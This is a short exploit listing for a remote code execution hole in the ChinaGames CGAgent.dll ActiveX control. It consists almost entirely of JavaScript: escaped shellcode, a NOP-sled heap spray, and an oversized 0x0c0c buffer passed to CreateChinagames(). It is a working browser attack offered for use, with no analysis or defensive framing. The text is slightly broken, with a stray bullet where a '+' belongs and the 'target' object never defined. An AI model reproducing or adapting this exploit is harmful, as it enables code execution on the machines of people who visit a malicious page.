ChinaGames (CGAgent.dll) ActiveX Remote Code Execution Exploit

function test(){ var shellcode =
unescape("\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6574\u7473\uc48b\u6853\u3a20\u292d\u7468\u2065\u6820\u6168\u6972\ud48b\u5053\u5352\u57ff\u53fc\u57ff\u00f8");
var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace =
headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0,
bigblock.length-slackspace); while(block.length+slackspace<0x40000) block =
block+block+fillblock; memory = new Array(); for (x=0; x<300; x++) memory[x] = block

• shellcode; var buffer = ''; while (buffer.length < 796 )
  buffer+=unescape("%u0c0c"); target.CreateChinagames(buffer);} test();